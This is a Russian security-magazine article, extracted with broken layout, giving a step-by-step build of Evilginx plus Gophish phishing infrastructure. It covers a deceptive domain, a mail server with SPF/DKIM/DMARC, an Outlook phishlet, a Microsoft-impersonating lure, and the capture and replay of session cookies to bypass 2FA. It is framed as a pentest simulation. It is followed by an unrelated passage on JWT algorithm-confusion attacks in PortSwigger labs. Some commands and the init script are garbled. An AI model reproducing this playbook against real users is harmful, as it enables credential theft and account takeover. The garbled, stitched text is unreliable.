Evilginx  — это  обратный прокси‑сервер, который проксирует соединение
между пользователем и целевым веб‑ресурсом, позволяя перехватить логин,
пароль и  ключи сеанса. С  помощью этого фреймворка можно обойти двух‐
факторную аутентификацию. Автор Evilginx — Куба Грецки.

Есть две версии интеграции этих двух инструментов. Первая  — 
, ее разработал Дилан Эванс, он же fin3ss3g0d. Она включает в себя

более расширенный набор возможностей вроде SMS-рассылок и генерации
QR-кодов, а также некоторые другие отличия от официальной версии.

неофи‐
циальная

 интеграцию разработал автор Evilginx Куба Грецки, и появи‐
лась она относительно недавно  — в  апреле  2024  года. На  данный момент
в  ней меньше функций, чем в  версии fin3ss3g0d, но  инструмент постоянно
обновляется, и, скорее всего, все недостающее добавят. В  статье я буду
использовать именно эту версию интеграции.

Официальную

НАЧИНАЕМ СТРОИТЬ ИНФРАСТРУКТУРУ

Для начала необходимо арендовать VPS/VDS и  доменное имя. Нам хватит
следующей конфигурации: 1  Гбайт ОЗУ, 20  Гбайт SSD и  один процессор.
В качестве ОС — Ubuntu 20.04.

Получаем креды от  сервера, подключаемся к  машине по  SSH и  проводим
базовую настройку: создаем нового пользователя и добавляем его в группу
sudo, создаем ключи SSH, отключаем аутентификацию по  паролю, настра‐
иваем порты, правила файрвола и так далее.

INFO

Подробнее о первоначальной настройке сервера
ты можешь прочесть в статье «

».
Ваш чек, сэр! Todo

после покупки виртуального Linux-сервера

Разобравшись с  сервером, приступаем к  созданию и  настройке домена.
Для  этого выбираем любой сервис, предоставляющий услуги аренды. Один
из  ключевых компонентов фишинговой атаки  — это  доменное имя, которое
введет пользователя в заблуждение. Регистрация такого домена называется
тайпсквоттинг, и вариантов здесь может быть много.

Я решил создать неприметный домен , чтобы потом

добавить к нему поддомены, содержащие названия известных организаций,
так как  поддомены необязательно должны быть уникальными. Например,
если добавим поддомен , у  нас получится 

.

webaccount.site

microsoft microsoft.
webaccount.site

Теперь приступим к  настройке DNS. Первым делом нужно установить
основную запись типа А, которая связывает доменное имя с IP-адресом сер‐
вера. Для этого редактируем ресурсные записи в разделе управления зоной
DNS у регистратора.

В дальнейшем при  создании фишинговых адресов будет использоваться
множество поддоменов и для каждого такого поддомена потребуется отдель‐
ная запись типа A, однако можно использовать и  запись типа CNAME,
передав ей в качестве аргумента регулярное выражение «звездочка».

Этот тип записи сопоставит псевдоним (поддомен) с  каноническим именем
домена ( ) в  момент генерации фишингового адреса

и получения TLS/SSL-сертификата в Evilginx.

webaccount.site

Подождем, пока DNS-записи распространятся (это может занять некото‐
рое время, от 15 минут до нескольких часов), и проверим работоспособность
сервера. Для этого просто обращаемся к домену через браузер.

Домен успешно привязался к  серверу. После аренды домена желательно
подождать хотя бы неделю: чем домен старше, тем меньше вероятность, что
он окажется в  черных списках. Во  время моих первых попыток я регистри‐
ровал домен и  сразу же использовал его в  имитации фишинговой атаки,
из‑за чего его отстреливали в  течение суток. Раз с  доменом разобрались,
приступим к установке почтового сервера.

ПОДНИМАЕМ ПОЧТОВЫЙ СЕРВЕР

SMTP-сервер — один из ключевых компонентов нашей будущей инфраструк‐
туры. Его задача  — выступать в  роли ретранслятора. Настройка почтового
сервера несложная, но требует множества последовательных действий.

Первым делом необходимо установить две записи. Одна — типа А с име‐
нем , указывающая на IP-адрес сервера.mail

Вторая запись  — типа MX, которая указывает на  сервер, обрабатывающий
электронную почту.

Теперь можно приступить к  установке и  настройке Postfix. Подключаемся
к своему VPS/VDS по SSH и запускаем установку:

apt sudo install postfix


При настройке в первом шаге выбираем пункт Internet Site.

Вводим доменное имя, которое будет определяться при отправке почты.

Указываем почтовый адрес администратора домена. Можно оставить пустым
(что не  рекомендуется), тогда почта, предназначенная для  администратора,
будет отправляться в  ./var/mail/nobody

Дальше прописываем адреса вот в таком формате:

<hostname>, <domain>, localhost.com, localhost


Отказываемся от принудительного выполнения синхронизации обновлений.

Поле с локальной сетью не трогаем и оставляем по умолчанию.

Размер почтового ящика оставляем со значением 0, в этом случае он будет
определяться общим дисковым пространством.

Символ, который будет использоваться для  определения расширения
локального адреса, — ставим плюсик.

И в последней настройке выбираем используемые протоколы — all.

После настройки установку Postfix можно считать завершенной. Проверяем
при помощи утилиты netcat, запустился ли почтовый сервер. Достаточно пос‐
тучаться на 25-й порт нашего хоста (порт SMTP по умолчанию).

Почтовый сервер запущен, но одной установки мало, необходимо также нас‐
троить ресурсные записи, чтобы почта доходила до конечной точки. Если про‐
пустить этот важный этап, почта не то что будет попадать в спам, она в прин‐
ципе не  будет рассматриваться почтовыми серверами. Для  успешной дос‐
тавки сообщений необходимо настроить ресурсные DNS-записи типа TXT —
SPF, DKIM, DMARC.

НАСТРАИВАЕМ SPF, DKIM И DMARC

SPF
Начнем с  записи SPF (Sender Policy Framework). Это  текстовая запись,
которая описывает то, какие хосты имеют право отправлять почту от  имени
домена, то есть это  список доверенных серверов. По  сути, SPF  —
это механизм, проверяющий, авторизован ли хост, отправляющий электрон‐
ное письмо от определенного доменного имени.

Чтобы такое правило работало, создаем запись TXT в панели управления
доменом.

Эта запись определяет, что электронную почту от  имени домена могут
отправлять серверы, указанные в записях MX и A домена, а также имеющие
IP-адреса из  диапазона . Почта от  других хостов будет
помечена как подозрительная.

94.142.141.0/24

WWW

Ты можешь воспользоваться веб‑инструментом
, чтобы создать свои правила SPF.SPF Wizard

DKIM
Второй записью настроим DKIM (DomainKeys Identified Mail). Это  механизм
проверки электронной почты, задача которого  — предотвращать подделку
сообщений. Для  этого применяется асимметричное шифрование: каждое
сообщение подписывается закрытым ключом.

INFO

DKIM использует пары ключей: закрытый,
к которому имеет доступ только почтовый сервер,
и открытый, который прописывается в  текстовой
DNS-записи, а  затем используется получателем
для проверки легитимности сообщения.

Настройка этой записи потребует множество шагов, будь внимателен при их
выполнении  — сделать что‑то не  так довольно легко. Полное руководство
по настройке DKIM есть на  , я не буду полностью переписывать
его, а только опишу ключевые моменты.

DigitalOcean

Первым делом устанавливаем утилиту OpenDKIM:

sudo apt update

apt sudo install opendkim opendkim-tools


И редактируем файл . Добавим следующие строки

(номер порта Socket выбираем любой, который не занят):

/etc/opendkim.conf

AutoRestart Yes

AutoRestartRate 10/1h

UMask 002

Syslog yes

SyslogSuccess Yes

LogWhy Yes

Canonicalization relaxed/simple

ExternalIgnoreList refile:/etc/opendkim/TrustedHosts

InternalHosts refile:/etc/opendkim/TrustedHosts

KeyTable refile:/etc/opendkim/KeyTable

SigningTable refile:/etc/opendkim/SigningTable

Mode sv

PidFile /var/run/opendkim/opendkim.pid

SignatureAlgorithm rsa-sha256

UserID opendkim:opendkim

Socket inet:12712@localhost


Подключаем расширение Milter к  Postfix. Сначала открываем файл 

 и меняем номер порта вот в этой строке:

/etc/
default/opendkim

SOCKET="inet:12301@localhost"

Новый номер выбираем тот, что указали ранее в  :opendkim.conf

SOCKET="inet:12712@localhost"

Затем настраиваем Postfix на  использование Milter. Для  этого открываем
файл  и убеждаемся, что присутствуют эти две строки

и они не закомментированы:

/etc/postfix/main.cf

  milter_protocol = 2
  milter_default_action = accept

Редактируем следующие строки, меняя номер порта на тот, что определили
ранее.

Если таких параметров в файле нет, то прописываем их:

  smtpd_milters = inet:localhost:12712
  non_smtpd_milters = inet:localhost:12712

Создаем каталоги для взаимодействия с ключами:

sudo mkdir /etc/opendkim

sudo mkdir /etc/opendkim/keys


Указываем доверенные хосты в файле ./etc/opendkim/TrustedHosts

Создаем таблицу ключей, для  этого прописываем в  файл 

 такую строку:

/etc/opendkim/
KeyTable

mail._domainkey.webaccount.site webaccount.site:mail:/etc/opendkim/
keys/webaccount.site/mail.private


Создаем таблицу подписей, прописав в файл 

эту строку:

/etc/opendkim/SigningTable

*@webaccount.site mail._domainkey.webaccount.site


Теперь приступим к  созданию пары открытого и  закрытого ключей. Перехо‐
дим в  каталог  и  создаем директорию для  домена,

в которой будут храниться ключи.

/etc/opendkim/keys

Генерируем ключи следующей командой:

sudo opendkim-genkey -s mail -d webaccount.site


После чего меняем владельца файла с закрытым ключом на учетную запись
.opendkim

Осталось добавить содержимое файла  в  текстовую запись DNS

в  панели управления доменом. Выводим содержимое файла в  консоль,
копируем всю строку, которая находится в  скобках, и  приводим к  нужному
формату.

mail.txt

В итоге у  меня получилось отформатированное значение, которое нужно
добавить в DNS-запись типа TXT с ключом .mail._domainkey

Продолжение статьи
→
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EVILGINX + GOPHISH
ПОДНИМАЕМ ИНФРАСТРУКТУРУ

ДЛЯ СИМУЛЯЦИИ ФИШИНГА
С ОБХОДОМ 2FA

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

DMARC
DMARC (Domain-based Message Authentication, Reporting &
Conformance) — это протокол аутентификации электронной почты, созданный
для защиты доменов от спуфинга (подделки отправителя) и фишинговых атак.
Политика DMARC определяет то, как  серверам‑получателям следует обра‐
батывать электронные письма, которые не  проходят проверку аутентифика‐
ции SPF и DKIM.

Настройка крайне проста, особенно на  фоне DKIM. Достаточно создать
TXT-запись вроде той, что на скриншоте.

ТЕСТИРУЕМ SMTP-СЕРВЕР

Когда все настроено, время проверить работоспособность сервера SMTP.
Для этого можно либо отправить сообщение себе на почту с любого сервиса,
либо же воспользоваться . Открываем сайт по ссылке, копиру‐
ем указанный там почтовый адрес и  жмем большую кнопку «Проверить».
Теперь мы можем отправить сообщение на выданный нам адрес. Это дела‐
ется вот такой командой:

mail-тестером

   echo "Test" | mail -s "Test" [почтовый адрес]


Как видим, почтовый сервер настроен и корректно работает (половину балла
мне сняли, потому что домен есть в  одном из  нескольких черных списков,
но это совсем не критично). Если ты сделал ошибки в настройке, в этом отче‐
те они будут указаны.

СТАВИМ И НАСТРАИВАЕМ EVILGINX И GOPHISH

Ставим Gophish
Прежде чем поднимать Evilginx и  Gophish, нужно установить в  систему язык
Go, так как  оба этих инструмента работают на  нем. Отправляемся на  сайт
разработчика и открываем , скачиваем deb-пакет коман‐
дой wget и следуем инструкции.

страницу установки

Приступим к  установке Gophish. Нам нужно скачать версию с  интеграцией
в  Evilginx из  , тут есть два варианта установки. Первый  — ска‐
чиваем командой wget архив с релизом для своей ОС со  ,
после чего просто разархивируем файл и делаем бинарник Gophish исполня‐
емым командой chmod.

репозитория
страницы releases

Второй вариант — сборка из исходного кода. Для этого копируем репози‐
торий и запускаем установку:

sudo git clone https://github.com/kgretzky/gophish/

go build


В результате у  нас будет версия Gophish, модифицированная для  работы
с Evilginx.

Теперь можно приступить к  настройке и  запуску Gophish. Первым делом
редактируем файл . В  нем нужно изменить параметр

. По умолчанию там указан локальный IP 127.0.0.1.

Чтобы Gophish работал не только локально и к нему возможно было подклю‐
читься через интернет, нужно изменить этот IP на 0.0.0.0:3333. Номер порта,
кстати, можно выставить любой незанятый в системе.

config.json
admin_server.listen_url

После настройки запускаем исполняемый файл Gophish и сразу ищем в логах
логин и пароль по умолчанию для доступа к панели управления.

Теперь переходим в браузер и обращаемся к панели Gophish по адресу сво‐
его VPS/VDS с указанным ранее портом.

Вводим креды, которые нашли в логах, после чего у нас открывается форма
для изменения пароля по умолчанию. Меняем пароль, снова вводим креды,
аутентифицируемся и попадаем в нашу учетную запись Gophish.

Чтобы оптимизировать запуск и  дальнейшие фишинговые кампании, нужно
настроить Gophish как демон, то есть создать сервис, который будет запус‐
кать Gophish в  фоновом режиме или  останавливать одной командой.
В каталоге  находятся сценарии оболочки, которые запускаются

системой инициализации SysVinit, поэтому создаем в  этом каталоге файл
Gophish и  добавляем следующий код, указав в  параметре 

абсолютный путь к Gophish:

/etc/init.d

appDirectory

processName=Gophish

process=gophish

appDirectory=/home/zxc/gophish

logfile=/var/log/gophish/gophish.log

errfile=/var/log/gophish/gophish.error


start  () {
    echo 'Starting '${processName}'...'
    cd ${appDirectory}
    ./  nohup $process >>$logfile 2>>$errfile &

   1
sleep 
}

stop  () {
    echo 'Stopping '${processName}'...'
   pid=$(/bin/pidof ${process})
    kill ${pid}
   1
sleep 
}

 status() {
   pid=$(/bin/pidof ${process})
      |     if [["$pid" != "" "$pid" != "" ]]; then

        echo ${processName}' is running...'
   else

        echo ${processName}' is not running...'
   fi
}

  case $1 in
     start|stop|status) "$1" ;;

esac

Сохраняем файл и  прописываем команды для  запуска демона и  проверки
статуса его работы.

Сервис запускается и работает корректно.

Ставим Evilginx
Копируем официальный репозиторий Evilginx с GitHub:

 sudo git clone https://github.com/kgretzky/evilginx2 && cd evilginx2


Evilginx тоже написан на  Go, который у  нас уже установлен. Поэтому просто
выполняем . Скрипт соберет весь проект и  создаст исполняемый файл

 в директории .

make
evilginx build

Чтобы постоянно не прописывать бесконечные пути, лучше собрать все необ‐
ходимое в отдельном каталоге. Создаем директорию  в домашнем

каталоге и  копируем исполняемый файл  вместе с  директориями

 и   в  :

evilginx
evilginx

phishlets redirectors ~/evilginx

sudo mkdir ~/evilginx

 ~
cd

sudo cp evilginx/build/evilginx ~/evilginx

 sudo cp -r evilginx/phishlets/ ~/evilginx

 sudo cp -r evilginx/redirectors/ ~/evilginx


Когда все готово, приступаем к настройке. Запускаем Evilginx:

sudo ./evilginx -p phishlets/

Нам необходимо определить IP-адрес и  домен, а  также интегрировать
Gophish. В консоли Evilginx прописываем эти команды:

config domain [ваш домен]

config ipv4 [IP вашего VPS/VDS]

config gophish admin_url [URL, на котором поднят gophish]

config gophish api_key [ключ API gophish]

config gophish insecure true

Ключ API Gophish можно найти в  панели управления Gophish, перейдя
на вкладку Account Settings.

Теперь выполняем команду  для тестирования соеди‐

нения Evilginx и Gophish.

config gophish test

Сообщение гласит о том, что соединение успешно.
На этом этапе мы построили основную часть инфраструктуры. Теперь

можно начать подготовку к проведению фишинговой кампании.

НАСТРОЙКА КАМПАНИИ GOPHISH

Отправляемся в  панель управления Gophish и  начинаем настраивать ком‐
поненты для рассылки фишинговых сообщений.

Первый компонент  — это  группы пользователей, которым будут рас‐
сылаться письма. Другими словами, это жертвы, точнее, подопытные в нашем
тесте.

Предположим, в  результате разведки мы получили имена и  почтовые
адреса работников компании. Все эти данные добавляем в соответствующие
поля и нажимаем кнопку Add для каждого пользователя. Либо можешь сразу
загрузить файл CSV, содержащий все эти данные. Когда вся инфа добавлена,
нажимаем кнопку Save changes.

Следующее, что стоит настроить, — это шаблон электронного письма. Пра‐
вильно написанное письмо, не  вызывающее подозрений, а  вызывающее
только желание поскорее нажать на  ссылку и  выполнить все инструкции,  —
это  ключевой компонент успешной фишинговой атаки. Тут уже все зависит
от  навыков социальной инженерии атакующего. Я создам абсолютно
условное фишинговое письмо и  не буду расписывать методы социальной
инженерии, это отдельная тема.

INFO

О фишинговых приемах ты можешь прочесть
в  статье «

».
Письмо с  сюрпризом. Изучаем уловки

и хитрости для доставки писем с малварью

Чтобы создать фишинговое письмо, я взял HTML-код настоящего сообщения
от Microsoft, которое приходило мне на почту, а затем немного изменил его
содержание.

В разделе Email Templates вставляем HTML-код и редактируем сообщение
на вкладке HTML.

Не забываем поставить галочку Add Tracking Image, которая добавит трекер
для  отслеживания статистики по  открытым письмам. Трекер выглядит
как переменная  в  коде сообщения. Кстати, об  этих перемен‐
ных стоит поговорить чуть подробнее.

{{.Tracker}}

При помощи переменных ты можешь менять содержимое сообщения
в зависимости от пользователя, которому оно отправлено. Всего переменных
десять, нам в  первую очередь пригодятся , 

и  , которые подставляют имя, фамилию и адрес почты из настро‐

ек групп пользователей. Благодаря им письма не  придется персонализиро‐
вать вручную.

{{.FirstName}} {{.LastName}}
{{.Email}}

Переменная  подставляет сгенерированную фишинговую ссылку

в  сообщение. Например, я подставил ссылку через переменную в  кнопку
«Подтвердить». Про  остальные переменные можно прочитать в 

.

{{.URL}}

докумен‐
тации

Также прописываем заголовок и  отправителя сообщения, который будет
указан, когда письмо дойдет. Я просто скопировал отправителя из официаль‐
ного сообщения Microsoft, но  изменил домен на  свой, добавив слово

 поддоменом третьего уровня. В  итоге мое сообщение будет

отправлено от  имени «Служба технической поддержки учетных записей
Microsoft noreply@microsoft.webaccount.site».

microsoft

Ниже  — фишинговое письмо, которое у  меня получилось. Gophish будет
подставлять почту пользователя вместо переменной .{{.Email}}

Письмо, как видишь, условное и на практике потребовало бы доработки.
Третий компонент — это профиль отправки, тот, ради которого мы настра‐

ивали почтовый сервер и записи DNS. Здесь мы указываем SMTP-ретрансля‐
тор, с  помощью которого будет происходить рассылка. Открываем вкладку
Sending Profile, пишем название профиля, указываем почту отправителя и,
наконец, пишем адрес и  порт SMTP-ретранслятора. Так как  он находится
на том же хосте, где мы запустили Gophish, вводим  (порт SMTP

указывать обязательно). Также не забудь поставить галочку Ignore Certificate
Errors.

localhost:25

В этом же окне есть кнопка для отправки тестового письма, обязательно про‐
веряй работоспособность SMTP-ретранслятора перед  проведением кам‐
пании.

На этом настройка компонентов Gophish закончена, поэтому сворачиваем
браузер и приступаем к созданию фишинговых ресурсов Evilginx.

CОЗДАНИЕ ФИШИНГОВЫХ РЕСУРСОВ EVILGINX

Первое, с  чем нужно ознакомиться,  — фишлеты Evilginx. Это  самая основа,
с  их помощью и  обходится  2FA. Фишлеты  — это  конфигурационные файлы
YAML, которые определяют, какие домены и  поддомены проксировать, под‐
менять, какие аутентификационные данные перехватывать и  что с  ними
делать. В  общем, правильно настроенный фишлет определяет технический
успех фишинговой атаки. Для  каждого веб‑ресурса пишется свой фишлет,
однако каждый фишлет — это шаблон.

Я не  буду подробно описывать, как  работают фишлеты или  как их соз‐
давать, об этом поговорим в другой раз. Пока же можешь обратиться к 

. Самое главное  — не  покупай фишлеты в  «Телег‐
раме», на форумах и тому подобных ресурсах!

офи‐
циальной документации

Настраиваем фишлет
Целевым веб‑ресурсом я выбрал Outlook, фишлет к  которому уже написан
и  опубликован в  . Скачиваем его и  перемещаем
в директорию .

репозитории на  GitHub
~/evilginx/phishlets

Запускаем Evilginx с фишлетом:

sudo ./evilginx -p phishlets/

И начинаем настраивать фишинговые компоненты. Первым делом задаем
URL, который пользователь будет видеть во  время проксирования трафика.
Нужно придумать такое имя хоста, которое не будет вызывать подозрений. Я
добавил два поддомена к своему имени хоста:

microsoft.outlook.webaccount.site


Так как поддомены необязательно должны быть уникальными, мы используем
это свойство для добавления известных и авторитетных имен. Указываем имя
хоста и активируем фишлет:

phishlets hostname Outlook microsoft.outlook.webaccount.site

phishlets enable Outlook


В этот момент Evilginx будет автоматически получать сертификаты SSL/TLS
для  всех доменов и  поддоменов, которые используются в  атаке, чтобы
фишинговый URL, да  и соединение в  принципе работали по  протоколу
HTTPS.

Через  30  секунд успешно получаем все сертификаты SSL/TLS и  двигаемся
дальше.

Готовим приманки
Следующие в  очереди  — приманки, они же Lures в  официальной докумен‐
тации. По  факту это  просто сгенерированные фишинговые ссылки, которые
мы отправляем. Настройка очень проста, сначала создаем приманку
для фишлета Outlook:

lures create Outlook


Консоль выведет числовой идентификатор приманки, он нам еще пригодится.
Приводим ссылку к такому виду:

https://microsoft.outlook.webaccount.site/user/account


Копируем сгенерированную фишинговую ссылку и переходим в Gophish.

Продолжение статьи
→

https://www.mail-tester.com/
https://go.dev/doc/install
https://github.com/kgretzky/gophish/
https://github.com/kgretzky/gophish/releases/
https://xakep.ru/2023/10/05/surprise-malware/
https://docs.getgophish.com/user-guide/template-reference
https://help.evilginx.com/docs/phishlet-format
https://github.com/simplerhacking/Evilginx3-Phishlets


EVILGINX + GOPHISH
ПОДНИМАЕМ ИНФРАСТРУКТУРУ

ДЛЯ СИМУЛЯЦИИ ФИШИНГА
С ОБХОДОМ 2FA

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ЗАПУСКАЕМ ФИШИНГОВУЮ АТАКУ

Теперь откроем вкладку Campaigns и соберем все воедино. Пишем название
кампании и  выбираем по  заданным именам: шаблон электронного письма,
профиль отправки и группу пользователей.

Выбрав все компоненты, вставляем сгенерированную ранее ссылку в  поле
Evilginx Lure URL и нажимаем на кнопку Launch Campaign.

После запуска кампании мы видим статистику, которая ведется в  режиме
реального времени. Пока что четыре сообщения отправлены, но  никем
не прочитаны.

Проверяем почту и видим, что фишинговое сообщение дошло.

Нажав на профиль отправителя, замечаем, что тут указано все то, что мы про‐
писали в шаблоне электронного сообщения Gophish. Невнимательный поль‐
зователь, скорее всего, даже не будет проверять, но если кто‑то и проверит,
то есть вероятность, что слово  в  названии домена убаюкает
подозрительность.

microsoft

Сразу же проверим, работает ли трекер, отслеживающий открытие сооб‐
щений. Видим, что просмотр сообщения регистрируется, статус пользовате‐
ля в столбце Status меняется, к тому же обновляются диаграммы.

Вернемся к нашему фишинговому письму. Когда мы наводим курсор на кноп‐
ку «Подтвердить», в  нижнем углу браузера видим ссылку, по  которой мы
перейдем после нажатия.

Имитируя действия потенциальной жертвы, переходим по фишинговой ссыл‐
ке и ждем, пока браузер проверит, безопасная ли это страница.

Нас перенаправляет на  настоящую страницу авторизации Microsoft, но  при
этом весь трафик проходит через наш обратный прокси‑сервер вот с  таким
доменом:

live.microsoft.outlook.webaccount.site


Вводим логин и пароль, после чего получаем запрос на подтверждение вто‐
рого фактора аутентификации в приложении Microsoft Authenticator.

Продолжая имитацию действий потенциальной жертвы, подтверждаем вход
в мобильном приложении и ждем, пока пройдет аутентификация.

И в итоге входим в учетную запись. При этом соединение все еще происходит
через прокси‑сервер потенциального злоумышленника.

Открываем консоль Evilginx и видим логи успешного перехвата.

Вводим команду

sessions [ID сессии]


И получаем информацию, которая содержит время перехвата, IP-адрес жер‐
твы, User agent, логин, пароль и cookie сеанса.

Логин и пароль — это, конечно, важная и критическая информация, но смысл
этой атаки — перехватить токен сеанса в виде файла cookie. Чтобы проэкс‐
плуатировать перехват сессии, копируем всю строку cookies и  открываем
браузер.

Устанавливаем расширение Cookie-Editor, которое позволяет манипу‐
лировать куками, и открываем легитимную страницу входа в Microsoft Outlook.
Перед  тем как  подменять cookie, удаляем те, что назначены браузером.
Для этого просто нажимаем кнопку Delete All.

Затем нажимаем кнопку Import и вставляем сплошную строку из перехвачен‐
ной сессии в Evilginx. Теперь еще раз нажимаем на Import и обновляем стра‐
ницу.

После обновления страницы браузер обрабатывает куки, которые мы внед‐
рили, и  открывает учетную запись пользователя, у  которого был перехвачен
сессионный токен.

Раздобыв учетку Microsoft в  любом сервисе, мы также получаем доступ
к основным настройкам и ко всем сервисам этой учетной записи. Это может
быть довольно критично, особенно учитывая, сколько конфиденциальной
информации может храниться в OneDrive или в документах Word.

ПОДВОДИМ ИТОГИ

Задача Gophish заключается не  только в  автоматизации рассылок, но  и
в ведении статистики, например для подготовки отчетов о результатах атаки,
которые пригодятся пентестерам. После завершения кампании мы получаем
статистику о  том, кто открыл письмо, кто перешел по  ссылке, кто попался
на фишинг и ввел креды или же что‑то заподозрил и пожаловался на письмо.

На этом наша фишинговая кампания завершена. Как видим, для проведения
этой атаки нам потребовались только базовые технические знания и навыки,
а также небольшое финансовое вложение в аренду сервера и домена.

Есть еще  огромное множество методов, которые сделают атаку более
изощренной, но  моей целью было показать базовый вариант, который тем
не менее вполне может применяться на практике.

Ну а лучшее средство защиты — это банальная внимательность, которой
пользователям зачастую не хватает.



JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

АТАКИ ALGORITHM CONFUSION

Атаки algorithm confusion, или атаки с путаницей в алгоритмах (еще их иногда
называют атаками с  путаницей в  ключах), возникают, когда злоумышленнику
удается заставить сервер проверить подпись токена JWT с  помощью алго‐
ритма, отличного от  предусмотренного разработчиками веб‑приложения.
При этом это не , как  было в  одном из  предыдущих кейсов. Если такой

случай не  обработать должным образом, злоумышленники могут подделать
токен JWT собственными значениями, не зная секретный ключ подписи сер‐
вера.

None

Уязвимости, связанные с путаницей алгоритмов, обычно возникают из‑за
несовершенства библиотек, которые позволяют работать с  токенами JWT.
Хотя фактический процесс проверки отличается в  зависимости от  исполь‐
зуемого алгоритма, многие библиотеки предоставляют единый, не  завися‐
щий от  алгоритма метод проверки подписей. Эти методы полагаются
на  параметр  в  заголовке токена, чтобы определить тип проверки,

которую они должны выполнить.

alg

Давай разберем на  примере, чтобы было понятнее. Предположим,
используется метод  для  проверки валидности подписи. Он при‐

нимает не только тот алгоритм, который используют разработчики, но и дру‐
гие. Вот его псевдокод:

verify()

  function verify(token, secretOrPublicKey){
     algorithm = token.getAlgHeader();
     if(algorithm == "RS256"){
       // Use the provided key as an RSA public key
       } else if (algorithm == "HS256"){
       // Use the provided key as an HMAC secret key
   }
}

Проблемы возникают, когда разработчики сайтов, использующие этот метод
в своем коде, думают, что он будет работать исключительно с токенами JWT,
подписанными асимметричным алгоритмом, например RS256. Хотя по факту
это  не так. Этот метод будет работать с  любыми алгоритмами. Из‑за этого
ошибочного предположения они могут всегда передавать методу фик‐
сированный открытый ключ следующим образом:

  publicKey = <public-key-of-server>;
  token = request.getCookie("session");

 verify(token, publicKey);

В этом случае, если сервер получит токен JWT, в  котором мы укажем сим‐
метричный алгоритм шифрования, например HS256, метод  будет

рассматривать открытый ключ как  секрет для  HMAC-функции. Это  означает,
что злоумышленник может подписать токен, используя HS256  в  связке
с открытым ключом, который сервер не скрывает.

verify()

INFO

Открытый ключ, который ты будешь использовать
для подписи JWT-токена, должен быть идентичен
тому открытому ключу, который хранится на сер‐
вере. Под  этим подразумевается использование
того же формата (например, X.509 PEM) и  сох‐
ранение любых непечатных символов, таких
как  новые строки. На  практике придется много
экспериментировать, чтобы эту атаку удалось
реализовать.

Лаба: JWT authentication bypass via algorithm confusion
• Лабораторная работа на сайте PortSwigger

Заходим в лабораторию как тестовый пользователь и смотрим на токен JWT.

JWT-токен, выписанный сервером, в исходном виде

Подмечаем алгоритм — RS256. Это значит, что сервер использует приватный
ключ для  подписи токенов, а  публичный  — для  ее проверки. Нам нужно
научиться изменять и подписывать JWT, не имея приватного ключа. Для этого
мы эксплуатируем уязвимость с  путаницей в  алгоритмах, чтобы подписать
JWT с помощью публичного ключа и заставить сервер использовать этот же
ключ для ее проверки.

Проверим директории  и  : не  оста‐

вил ли в них сервер публичные ключи для нас? Оставил!

/jwks.json /.well-known/jwks.json

Сервер оставил публичные ключи в директории /jwks.json

Помимо этих, можно проверять еще следующие пути:
;• /openid/connect/jwks.json

;• /api/keys

.• /api/v1/keys

В некоторых случаях токены JWT могут также подписываться закрытым TLS-
ключом сервера. Извлечь публичный ключ можно с  помощью следующих
команд:

   
openssl s_client -connect http://example.com:443/ 2>&1 < /dev/null | 
sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem


  openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem


Итак, ключ, который мы нашли в директории, используется сервером для про‐
верки подписи. В описании к заданию было сказано, что он использует собс‐
твенную копию, которая лежит на самом хосте в формате X.509 PEM. Значит,
нам нужно преобразовать этот же ключ в  используемый сервером формат,
да так, чтобы файлы совпадали.

Переходим на  вкладку JWT Editor и  создаем новый ключ RSA. Вставляем
JWK, который мы нашли на сайте.

Публичный ключ на странице создания JWT Editor

Переключаем на PEM. JWT Editor преобразует вставленный ранее ключ в этот
формат.

Конвертация из JWK в PEM

Сохраняем и переключаемся на вкладку Decoder. Кодируем ключ в Base64.

PEM, закодированный в Base64

Копируем получившееся значение и  возвращаемся в  JWT Editor. Нажимаем
«Новый симметричный ключ» и  генерируем его значение соответствующей
кнопкой.

Процесс создания нового симметричного ключа

Значение  заменяем значением из  предыдущего шага (как ты помнишь,

это  ключ, который будет использоваться для  симметричного шифрования)
и сохраняем.

k

Параметр k — наш публичный ключ, закодированный в Base64

Возвращаемся к  запросу. Меняем пользователя и  алгоритм с  асимметрич‐
ного на симметричный HS256.

Асимметричный RS256 нужно заменить симметричным HS256

Подписываем кнопкой Sign, Header можно не модифицировать.

Подписание токена JWT

Отправляем запрос, и вот наша ссылка на админскую панель.

Ссылка на панель администратора

Переходим в  браузер с  новым токеном, открываем админку и  удаляем Кар‐
лоса.

Уведомление об успешном прохождении лаборатории

Лаборатория успешно пройдена!

Лаба: JWT authentication bypass via algorithm confusion with no
exposed key
• Лабораторная работа на сайте PortSwigger

Эта лаборатория отличается от  предыдущей тем, что в  этот раз владелец
сервера не выложил публичные ключи. На практике сайты редко это делают,
поэтому лаба ближе к реальности, чем предыдущие.

Как же эксплуатировать уязвимость? Здесь нам на  помощь приходит
обычная алгебра. Хотя криптосистемы с  открытым ключом гарантируют, что
закрытый ключ не может быть получен из открытого ключа, подписей, зашиф‐
рованных текстов и прочих источников, обычно таких гарантий для открытого
ключа нет!

Добрые люди из  Cryptography Stack Exchange уже всё придумали за  нас
и   простое и  гениальное решение: найти наибольший общий
делитель (НОД) разности всех доступных пар сообщение — подпись. Не вда‐
ваясь в подробности того, почему это работает (полное объяснение можешь
прочитать в  ), отметим несколько моментов:

представили

комментарии на Stack Exchange
Открытый ключ RSA представляет собой пару целых чисел, где   —
модуль, а    — открытая экспонента. Поскольку   — это  обычно некое
захардкоженное малое число, нас интересует только нахождение .

• n

e e

n

Несмотря на то что RSA включает в себя большие числа, по‑настоящему
эффективные алгоритмы для  нахождения НОД чисел  с  древ‐
них времен (нам не нужно умножать методом перебора).

•
существуют

Наши шансы растут с  увеличением количества известных пар сооб‐
щение — подпись.

•

Итак, приступаем к выполнению. Заходим один раз от имени wiener, получаем
токен и  копируем его куда‑нибудь к  себе в  текстовый документ. Вот что
у меня получилось:

eyJraWQiOiJlYTc5ODI1ZC0wZGE1LTQ0M2YtODRhOC1mYjU3YjIwOWQ1ZmUiLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDgyMjQ3Nywic3ViIjoid2llbmVyI
n0.
sO3PBnZQ0CVk-
ict3vvRsPnZFsrPIW4Rsptfl0sviLLI8JNDoqzyrZNYLJoigkhdNTTtI8Svf3AJvVhHO3
